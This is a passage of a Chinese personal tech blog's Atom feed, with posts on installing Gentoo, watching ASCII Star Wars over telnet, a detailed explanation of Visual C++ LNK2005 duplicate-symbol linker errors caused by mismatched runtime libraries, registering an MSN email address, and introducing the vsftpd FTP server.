href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=6494104392642395217' title='2 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6494104392642395217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/6494104392642395217'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/03/blog-post.html' title='打破封锁，技术无国界'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-5589039524885678456</id><published>2006-01-23T06:39:00.000+08:00</published><updated>2010-09-30T10:40:26.882+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>今天成功安装Gentoo了</title><content type='html'>&lt;div&gt;经历了两次安装失败的痛苦，今天终于成功安装了Gentoo，庆祝一下。&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-5589039524885678456?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/5589039524885678456/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=5589039524885678456' title='2 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5589039524885678456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/5589039524885678456'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2006/01/gentoo.html' title='今天成功安装Gentoo了'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-7135751380288345093</id><published>2005-12-28T02:00:00.000+08:00</published><updated>2010-09-30T10:40:26.863+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Live Space'/><title type='text'>超酷--星球大战电影的DOS版</title><content type='html'>&lt;div style="word-wrap:break-word;"&gt;星战电影的DOS版 ------超酷，最强烈推荐！&lt;br /&gt;&lt;/div&gt;&lt;br/&gt;&lt;div style="word-wrap:break-word;"&gt;在Windows 开始-&amp;gt;运行-&amp;gt;输入 telnet towel.blinkenlights.nl &lt;br/&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-7135751380288345093?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/7135751380288345093/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=7135751380288345093' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7135751380288345093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/7135751380288345093'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2005/12/dos.html' title='超酷--星球大战电影的DOS版'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-113161586286563680</id><published>2005-11-10T17:42:00.000+08:00</published><updated>2005-11-10T17:44:22.893+08:00</updated><title type='text'>为什么会出现LNK2005"符号已定义"的链接错误?</title><content type='html'>&lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    许多Visual C++的使用者都碰到过LNK2005:symbol already defined和LNK1169:one or more multiply defined symbols found这样的链接错误，而且通常是在使用第三方库时遇到的。对于这个问题，有的朋友可能不知其然，而有的朋友可能知其然却不知其所以然，那么本文就试 图为大家彻底解开关于它的种种疑惑。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    大家都知道，从C/C++源程序到可执行文件要经历两个阶段:(1)编译器将源文件编译成汇编代码，然后由汇编器(assembler)翻译成机器指令 (再加上其它相关信息)后输出到一个个目标文件(object file,VC的编译器编译出的目标文件默认的后缀名是.obj)中；(2)链接器(linker)将一个个的目标文件(或许还会有若干程序库)链接在一 起生成一个完整的可执行文件。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    编译器编译源文件时会把源文件的全局符号(global symbol)分成强(strong)和弱(weak)两类传给汇编器，而随后汇编器则将强弱信息编码并保存在目标文件的符号表中。那么何谓强弱呢？编译 器认为函数与初始化了的全局变量都是强符号，而未初始化的全局变量则成了弱符号。比如有这么个源文件:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;extern int errorno;&lt;br /&gt;int buf[2] = {1,2};&lt;br /&gt;int *p;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;int main()&lt;br /&gt;{&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;其中main、buf是强符号，p是弱符号，而errorno则非强非弱，因为它只是个外部变量的使用声明。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    有了强弱符号的概念，链接器(Unix平台)就会按如下规则(参考[1]，p549~p550)处理与选择被多次定义的全局符号:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;strong&gt;规则1&lt;/strong&gt;: 不允许强符号被多次定义(即不同的目标文件中不能有同名的强符号)；&lt;/span&gt;&lt;/p&gt; &lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;p&gt;&lt;br /&gt;&lt;strong&gt;规则2&lt;/strong&gt;: 如果一个符号在某个目标文件中是强符号，在其它文件中都是弱符号，那么选择强符号；&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;strong&gt;规则3&lt;/strong&gt;: 如果一个符号在所有目标文件中都是弱符号，那么选择其中任意一个；&lt;/p&gt;&lt;/span&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    虽然上述3条针对的是Unix平台的链接器，但据作者试验，至少VC6.0的linker也遵守这些规则。由此可知多个目标文件不能重复定义同名的函数与 初始化了的全局变量，否则必然导致LNK2005和LNK1169两种链接错误。可是，有的时候我们并没有在自己的程序中发现这样的重定义现象，却也遇到 了此种链接错误，这又是何解？嗯，问题稍微有点儿复杂，容我慢慢道来。&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    众所周知，ANSI C/C++ 定义了相当多的标准函数，而它们又分布在许多不同的目标文件中，如果直接以目标文件的形式提供给程序员使用的话，就需要他们确切地知道哪个函数存在于哪个 目标文件中，并且在链接时显式地指定目标文件名才能成功地生成可执行文件，显然这是一个巨大的负担。所以C语言提供了一种将多个目标文件打包成一个文件的 机制，这就是静态程序库(static library)。开发者在链接时只需指定程序库的文件名，链接器就会自动到程序库中寻找那些应用程序确实用到的目标模块，并把(且只把)它们从库中拷贝 出来参与构建可执行文件。几乎所有的C/C++开发系统都会把标准函数打包成标准库提供给开发者使用(有不这么做的吗？)。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    程序库为开发者带来了方便，但同时也是某些混乱的根源。我们来看看链接器(Unix平台)是如何解析(resolve)对程序库的引用的(参考[1]，p556)。&lt;br /&gt;   &lt;br /&gt;    在符号解析(symbol resolution)阶段，链接器按照所有目标文件和库文件出现在命令行中的顺序从左至右依次扫描它们，在此期间它要维护若干个集合:(1)集合E是将 被合并到一起组成可执行文件的所有目标文件集合；(2)集合D是所有之前已被加入E的目标文件定义的符号集合；(3)集合U是未解析符号 (unresolved symbols，即那些被E中目标文件引用过但在D中还不存在的符号)的集合。一开始，E、D、U都是空的。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;strong&gt;(1):&lt;/strong&gt; 对命令行中的每一个输入文件f，链接器确定它是目标文件还是库文件，如果它是目标文件，就把f加入到E，并把f中未解析的符号和已定义的符号分别加入到U、D集合中，然后处理下一个输入文件。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;strong&gt;(2):&lt;/strong&gt; 如果f是一个库文件，链接器会尝试把U中的所有未解析符号与f中各目标模块定义的符号进行匹配。如果某个目标模块m定义了一个U中的未解析符号，那么就把 m加入到E中，并把m中未解析的符号和已定义的符号分别加入到U、D集合中。不断地对f中的所有目标模块重复这个过程直至到达一个不动点(fixed point)，此时U和D不再变化。而那些未加入到E中的f里的目标模块就被简单地丢弃，链接器继续处理下一输入文件。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;strong&gt;(3):&lt;/strong&gt; 当扫描完所有输入文件时如果U非空或者有同名的符号被多次加入D，链接器报告错误信息并退出。否则，它把E中的所有目标文件合并在一起生成可执行文件。&lt;/span&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;"&gt;    上述规则针对的是Unix平台链接器，而VC(至少VC6.0)linker则有相当的不同: 它首先依次处理命令行中出现的所有目标文件，然后依照顺序不停地扫描所有的库文件，直至U为空或者某遍(从头到尾依次把所有的库文件扫描完称为一遍)扫描 过程中U、D无任何变化时结束扫描，此刻再根据U是否为空以及是否有同名符号重复加入D来决定是出错退出还是生成可执行文件。很明显Unix链接器对输入 文件在命令行中出现的顺序十分敏感，而VC的算法则可最大限度地减少文件顺序对链接的影响。作者不清楚Unix下新的开发工具是否已经改进了相应的做法， 欢迎有实践经验的朋友补充这方面的信息(补充于2005年10月10日: 经试验，使用gcc 3.2.3的MinGW 3.1.0的链接器表现与参考[1]描述的一致)。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    VC带的编译器是cl.exe，它有这么几个与标准程序库有关的选项: /ML、/MLd、/MT、/MTd、/MD、/MDd。这些选项告诉编译器应用程序想使用什么版本的C标准程序库。/ML(缺省选项)对应单线程静态版 的标准程序库(libc.lib)；/MT对应多线程静态版标准库(libcmt.lib)，此时编译器会自动定义_MT宏；/MD对应多线程DLL版 (导入库msvcrt.lib，DLL是msvcrt.dll)，编译器自动定义_MT和_DLL两个宏。后面加d的选项都会让编译器自动多定义一个 _DEBUG宏，表示要使用对应标准库的调试版，因此/MLd对应调试版单线程静态标准库(libcd.lib)，/MTd对应调试版多线程静态标准库 (libcmtd.lib)，/MDd对应调试版多线程DLL标准库(导入库msvcrtd.lib，DLL是msvcrtd.dll)。虽然我们的确在 编译时明白无误地告诉了编译器应用程序希望使用什么版本的标准库，可是当编译器干完了活，轮到链接器开工时它又如何得知一个个目标文件到底在思念谁？为了 传递相思，我们的编译器就干了点秘密的勾当。在cl编译出的目标文件中会有一个专门的区域(关心这个区域到底在文件中什么地方的朋友可以参考COFF和 PE文件格式)存放一些指导链接器如何工作的信息，其中有一项就叫缺省库(default library)，它指定了若干个库文件名，当链接器扫描该目标文件时将按照它们在目标模块中出现的顺序处理这些库名: 如果该库在当前输入文件列表中还不存在，那么便把它加入到输入文件列表末尾，否则略过。说到这里，我们先来做个小实验。写个顶顶简单的程序，然后保存为 main.c :&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;&lt;span style="color:#006400;"&gt;/* main.c */&lt;br /&gt;&lt;/span&gt;int main() { return 0; }&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;用下面这个命令编译main.c(什么？你从不用命令行来编译程序？这个......) :&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;cl /c main.c&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;/c 是告诉cl只编译源文件，不用链接。因为/ML是缺省选项，所以上述命令也相当于: cl /c /ML main.c 。如果没什么问题的话(要出了问题才是活见鬼！当然除非你的环境变量没有设置好，这时你应该去VC的bin目录下找到vcvars32.bat文件然后运 行它。)，当前目录下会出现一个main.obj文件，这就是我们可爱的目标文件。随便用一个文本编辑器打开它(是的，文本编辑器，大胆地去做别害怕)， 搜索"defaultlib"字符串，通常你就会看到这样的东西: "-defaultlib:LIBC -defaultlib:OLDNAMES"。啊哈，没错，这就&lt;br /&gt;是保存在目标文件中的缺省库信息。我们的目标文件显然指定了两个缺省库，一个是单 线程静态版标准库libc.lib(这与/ML选项相符)；一个是oldnames.lib(它是为了兼容微软以前的C/C++开发系统，基本不用了，为 了简化讨论可以忽略它)。另外，如果在源程序中用了&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;span style="color:#006400;"&gt;/* xxxx代表实际的库文件名 */&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#a52a2a;"&gt;#pragma comment(lib,"xxxx")&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;编译指示命令(compiler directive)指定要链接的库，那么这个信息也会被保存到目标文件的缺省库信息项中，且位于缺省标准库之前。如果有多个这样的命令，那么对应库名在目标文件中出现的顺序与它们在源程序中出现的顺序完全一致(且都在缺省标准库之前)。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    VC的链接器是link.exe，因为main.obj保存了缺省库信息，所以可以用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;link main.obj libc.lib&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;或者&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;link main.obj&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;来生成可执行文件main.exe，这两个命令是等价的。但是如果你用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;link main.obj libcd.lib&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;的 话，链接器会给出一个警告: "warning LNK4098: defaultlib "LIBC" conflicts with use of other libs; use /NODEFAULTLIB:library"，因为你显式指定的标准库版本与目标文件的缺省值不一致。通常来说，应该保证链接器合并的所有目标文件指定 的缺省标准库版本一致，否则编译器一定会给出上面的警告，而LNK2005和LNK1169链接错误则有时会出现有时不会。那么这个有时到底是什么时候？ 呵呵，别着急，下面的一切正是为喜欢追根究底的你准备的。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    建一个源文件，就叫mylib.c，内容如下:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;&lt;span style="color:#006400;"&gt;/* mylib.c */&lt;/span&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;void foo(void)&lt;br /&gt;{&lt;br /&gt;   printf("%s","I am from mylib!\n");&lt;br /&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;cl /c /MLd mylib.c&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;命令编译，注意/MLd选项是指定libcd.lib为默认标准库。lib.exe是VC自带的用于将目标文件打包成程序库的命令，所以我们可以用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;lib /OUT:my.lib mylib.obj&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;将mylib.obj打包成库，输出的库文件名是my.lib。接下来把main.c改成:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;&lt;span style="color:#006400;"&gt;/* main.c */&lt;br /&gt;&lt;/span&gt;&lt;span style="color:#a52a2a;"&gt;void foo(void);&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;int main()&lt;br /&gt;{&lt;br /&gt;   foo();&lt;br /&gt;   return 0;&lt;br /&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;cl /c main.c&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;编译，然后用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;link main.obj my.lib&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;进 行链接。这个命令能够成功地生成main.exe而不会产生LNK2005和LNK1169链接错误，你仅仅是得到了一条警告信息:"warning LNK4098: defaultlib "LIBCD" conflicts with use of other libs; use /NODEFAULTLIB:library"。我们根据前文所述的扫描规则来分析一下链接器此时做了些啥(加一个/VERBOSE选项就可以看到详尽的 链接过程，但要注意，几乎所有的C编译器都会在符号前加一个下划线后再输出，所以在目标文件和链接输出信息中看到的符号名都比在源程序中见到的多出一个 '_'，此点不可不察。)。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    一开始E、U、D都是空集。链接器首先扫描main.obj，把它的默认标准库libc.lib加入到输入文件列表末尾，它自己加入E集合，同时未解析的 foo加入U，main加入D。接着扫描my.lib，因为这是个库，所以会拿当前U中的所有符号(当然现在就一个foo)与my.lib中的所有目标模 块(当然也只有一个mylib.obj)依次匹配，看是否有模块定义了U中的符号。结果mylib.obj确实定义了foo，于是它加入到E，foo从U 转移到D，未解析的printf加入到U，指定的默认标准库libcd.lib也加到输入文件列表末尾(在libc.lib之后)。不断地在my.lib 库的各模块上进行迭代以匹配U中的符号，直到U、D都不再变化。很明显，现在就已经到达了这么一个不动点，所以接着扫描下一个输入文件，就是 libc.lib。链接器发现libc.lib里的printf.obj里定义有printf，于是printf从U移到D，printf.obj加入到 E，它定义的所有符号加入到D，它里头的未解析符号加入到U。如果链接时没有指定/ENTRY(程序入口点选项)，那么链接器默认的入口点就是函数 mainCRTStartup(GUI程序的默认入口点则是WinMainCRTStartup)，它在crt0.obj中被定义，所以crt0.obj 及它直接或间接引用的模块(比如malloc.obj、free.obj等)都被加入到E中，这些目标模块指定的默认库(只crt0init.obj指定 了kernel32.lib)加到输入文件列表末尾，同时更新U和D。不断匹配libc.lib中各模块直至到达不动点，然后处理libcd.lib，但 是它里面的所有目标模块都没有定义U中的任何一个符号，所以链接器略过它进入到最后一个输入文件kernel32.lib。事实上，U中已有和将要加入的 未解析符号都可以在其中找到定义，那么当处理完kernel32.lib时，U必然为空，于是链接器合并E中的所有模块生成可执行文件。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    上文描述了虽然各目标模块指定了不同版本的缺省标准库但仍然链接成功的例子，接下来你将目睹因为这种不严谨而导致的悲惨失败。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    修改mylib.c成这个样子:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;#include &lt;crtdbg.h&gt;&lt;crtdbg.h&gt;&lt;/crtdbg.h&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;color:#a52a2a;"&gt;void foo(void)&lt;br /&gt;{&lt;br /&gt;   &lt;span style="color:#006400;"&gt;// just a test , don't care memory leak&lt;/span&gt;&lt;br /&gt;   _malloc_dbg( 1, _NORMAL_BLOCK, __FILE__, __LINE__ );&lt;br /&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;其中_malloc_dbg不是ANSI C的标准库函数，它是VC标准库提供的malloc的调试版，与相关函数配套能帮助开发者抓各种内存错误。使用它一定要定义_DEBUG宏，否则预处理器会把它自动转为malloc。继续用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;cl /c /MLd mylib.c&lt;br /&gt;lib /OUT:my.lib mylib.obj&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;编译打包。当再次用&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;link main.obj my.lib&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;进行链接时，我们看到了什么？天哪，一堆的LNK2005加上个贵为"fatal error"的LNK1169垫底，当然还少不了那个LNK4098。链接器是不是疯了？不，你冤枉可怜的链接器了，我拍胸脯保证它可是一直在尽心尽责地照章办事。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    一开始E、U、D为空，链接器扫描main.obj，把libc.lib加到输入文件列表末尾，把main.obj加进E，把foo加进U，把main加 进D。接着扫描my.lib，于是mylib.obj加入E，libcd.lib加到输入文件列表末尾，foo从U转移到D，_malloc_dbg加进 U。然后扫描libc.lib，这时会发现libc.lib里任何一个目标模块都没有定义_malloc_dbg(它只在调试版的标准库中存在)，所以不 会有任何一个模块因为_malloc_dbg而加入E。但因为libc.lib中的crt0.obj定义了默认入口点函数mainCRTStartup， 所以crt0.obj及它直接或间接引用的模块(比如malloc.obj、free.obj等)都被加入到E中，这些目标模块指定的默认库(只 crt0init.obj指定了kernel32.lib)加到输入文件列表末尾，同时更新U和D。不断匹配libc.lib中各模块直至到达不动点后再 处理libcd.lib，发现dbgheap.obj定义了_malloc_dbg，于是dbgheap.obj加入到E，它的未解析符号加入U，它定义 的所有其它符号加入D，这时灾难便来了。之前malloc等符号已经在D中(随着libc.lib里的malloc.obj加入E而加入的)，而 dbgheap.obj及因它而引入的其它模块又定义了包括malloc在内的许多同名符号，导致了重定义冲突。所以链接器在处理完所有输入文件(是的， 即使中途有重定义冲突它也会处理所有的文件以便生成一个完整的冲突列表)后只好报告: 这活儿没法儿干。&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    现在我们该知道，链接器完全没有责任，责任在我们自己的身上。是我们粗心地把缺省标准库版本不一致的目标文件(main.obj)与程序库 (my.lib)链接起来，引发了大灾难。解决办法很简单，要么用/MLd选项来重编译main.c；要么用/ML选项重编译mylib.c；再或者干脆 在链接时用/NODEFAULTLIB:XXX选项忽略默认库XXX，但这种方法非常不保险(想想为什么？)，所以不推荐。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    在上述例子中，我们拥有库my.lib的源代码(mylib.c)，所以可以用不同的选项重新编译这些源代码并再次打包。可如果使用的是第三方的库，它并 没有提供源代码，那么我们就只有改变自己程序的编译选项来适应这些库了。但是如何知道库中目标模块指定的默认库呢？其实VC提供的一个小工具便可以完成任 务，这就是dumpbin.exe。运行下面这个命令&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;dumpbin /DIRECTIVES my.lib&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;然 后在输出中找那些"Linker Directives"引导的信息，你一定会发现每一处这样的信息都会包含若干个类似"-defaultlib:XXXX"这样的字符串，其中XXXX便 代表目标模块指定的缺省库名(注意，如果在编译时指定了/Zl选项，那么目标模块中将不会有defaultlib信息)。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Courier New;font-size:130%;"&gt;    知道了第三方库指定的默认标准库，再用合适的选项编译我们的应用程序，就可以避免LNK2005和LNK1169链接错误。喜欢IDE的朋友，你一样可以 到 "Project属性" -&gt; "C/C++" -&gt; "代码生成(code generation)" -&gt; "运行时库(run-time library)" 项下设置应用程序的默认标准库版本，这与命令行选项的效果是一样的。&lt;/span&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;参考资料:&lt;/p&gt; &lt;p&gt;[1] 《Computer Systems: A Programmer's Perspective》&lt;br /&gt;    著:  Randal E. Bryant, David R. O'Hallaron&lt;br /&gt;    电子工业出版社，2004&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-113161586286563680?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/113161586286563680/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=113161586286563680' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113161586286563680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113161586286563680'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2005/11/lnk2005.html' title='为什么会出现LNK2005&quot;符号已定义&quot;的链接错误?'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-113059592614729301</id><published>2005-10-29T22:23:00.000+08:00</published><updated>2005-10-29T22:25:26.166+08:00</updated><title type='text'>注册MSN邮箱的方法</title><content type='html'>直接点击下面这个链接就可以注册MSN.COM后缀的邮箱了。&lt;a title="https://accountservices.passport.net/reg.srf?ns=" href="https://accountservices.passport.net/reg.srf?ns=msn.com" target="_blank"&gt;https://accountservices.passport.net/reg.srf?ns=msn.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-113059592614729301?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/113059592614729301/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=113059592614729301' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113059592614729301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113059592614729301'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2005/10/msn.html' title='注册MSN邮箱的方法'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-113054774184760926</id><published>2005-10-29T08:53:00.000+08:00</published><updated>2005-10-29T09:02:21.846+08:00</updated><title type='text'>架设Linux上的FTP服务器</title><content type='html'>在Linux下架设FTP服务，你可以选用vsftpd进行配置。vsftpd可以支持到单机4000并发用户，联机15000并发用户，比windows中的iis强大的多。vsftpd在安全性、高性能及稳定性三个方面有上佳的表现。它提供的主要功能包括虚拟IP设置、虚拟用户、Standalone、inetd操作模式、强大的单用户设置能力及带宽限流等。在安全方面，它从原理上修补了大多数Wu-FTP、ProFTP，乃至BSD-FTP的安装缺陷，使用安全编码技术解决了缓冲溢出问题，并能有效避免"globbing"类型的拒绝服务攻击。目前正在使用vsftpd的官方网站有Red 